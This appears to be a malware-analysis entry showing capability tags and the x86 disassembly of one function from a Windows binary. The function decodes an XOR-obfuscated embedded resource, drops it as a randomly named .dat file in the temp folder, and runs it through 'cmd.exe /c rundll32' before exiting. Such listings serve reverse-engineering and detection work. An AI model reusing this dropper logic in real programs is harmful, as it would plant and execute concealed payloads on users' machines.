Function at 0x403090
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
add esp, 0xfffffcb8
mov eax, dword [0x4129e8]
xor eax, esp
mov dword [esp + 0x344], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x4030c5
mov ecx, dword [esp + 0x344]
mov al, 1
xor ecx, esp
call fcn.004038f9
sub esp, 0xfffffcb8
ret
call fcn.00401000
cmp eax, 5
je 0x4030eb
cmp eax, 7
je 0x4030eb
xor al, al
mov ecx, dword [esp + 0x344]
xor ecx, esp
call fcn.004038f9
add esp, 0x348
ret
push 0
call fcn.00402ab0
sub esp, 0xfffffffc
cmp eax, 1
jne 0x4030d4
push edi
push 0x103
lea eax, [esp + 0x111]
push 0
push eax
mov byte [esp + 0x118], 0
call fcn.00403910
add esp, 0xc
push 0x104
lea ecx, [esp + 0x110]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x103
lea edx, [esp + 0xd]
push 0
push edx
mov byte [esp + 0x14], 0
call fcn.00403910
sub esp, 0xfffffff4
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [esp + 8]
lea ecx, [edi + 1]
nop
mov al, byte [edi]
add edi, 1
test al, al
jne 0x403160
push ebx
sub edi, ecx
push ebp
push esi
lea esi, [edi + 8]
cmp edi, esi
jge 0x40319e
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
call ebp
push 1
mov ecx, 0x1a
xor edx, edx
div ecx
sub dl, 0x9f
mov byte [esp + edi + 0x18], dl
call ebx
add edi, 1
cmp edi, esi
jl 0x403181
lea eax, [esp + 0x14]
sub eax, 1
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x4031a5
mov edx, dword [str..dat]
mov cl, byte [0x40f3e0]
mov dword [eax], edx
mov byte [eax + 4], cl
call fcn.00402960
xor edx, edx
push 0x40f3d8
mov bl, al
test bl, bl
setne dl
add edx, 0x65
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
mov edi, eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
push esi
call fcn.00403e92
mov ebp, eax
push esi
push edi
push ebp
call fcn.00404300
add esp, 0x10
xor edi, edi
test esi, esi
jle 0x40322e
mov al, byte [edi + ebp]
test al, al
je 0x403227
cmp al, 0x24
je 0x403227
xor al, 0x24
mov byte [edi + ebp], al
sub edi, 0xffffffff
cmp edi, esi
jl 0x403217
xor ecx, ecx
or esi, esi
jbe 0x403257
cmp byte [ecx + ebp], 0x41
lea edx, [ecx + ebp]
jne 0x403250
xor eax, eax
nop
cmp byte [edx + eax], 0x41
jne 0x403250
add eax, 1
cmp eax, 0x1e
jl 0x403240
jmp 0x403257
add ecx, 1
cmp ecx, esi
jb 0x403234
lea eax, [esi - 1]
cmp ecx, eax
jae 0x4032a0
lea edi, [esp + 0x118]
lea esp, [esp]
mov edx, edi
sub ecx, edx
lea edx, [ecx + ebp]
mov cl, byte [edi]
mov byte [edx + edi], cl
add edi, 1
test cl, cl
jne 0x403270
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4032bb
mov ecx, dword [esp + 0x354]
pop esi
pop ebp
pop ebx
pop edi
xor ecx, esp
xor al, al
call fcn.004038f9
add esp, 0x348
ret
push 0
lea ecx, [esp + 0x14]
push ecx
push esi
push ebp
push edi
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x135
lea edx, [esp + 0x221]
push 0
push edx
mov byte [esp + 0x228], 0
call fcn.00403910
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x22c]
push str.cmd.exe__c_rundll32___s_
push ecx
call fcn.00403b50
lea edi, [esp + 0x234]
sub esp, 0xffffffe8
add edi, 0xffffffff
test bl, bl
je 0x403340
mov esi, esi
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x403320
mov edx, dword [str.Playx64]
mov ecx, dword [0x40f3b8]
mov dword [edi], edx
mov dword [edi + 4], ecx
jmp 0x403366
mov cl, byte [edi + 1]
sub edi, 0xffffffff
or cl, cl
jne 0x403340
mov edx, dword [str.PlayWin32]
mov ecx, dword [0x40f3ac]
mov dword [edi], edx
mov dx, word [0x40f3b0]
mov dword [edi + 4], ecx
mov word [edi + 8], dx
push 0
lea eax, [esp + 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]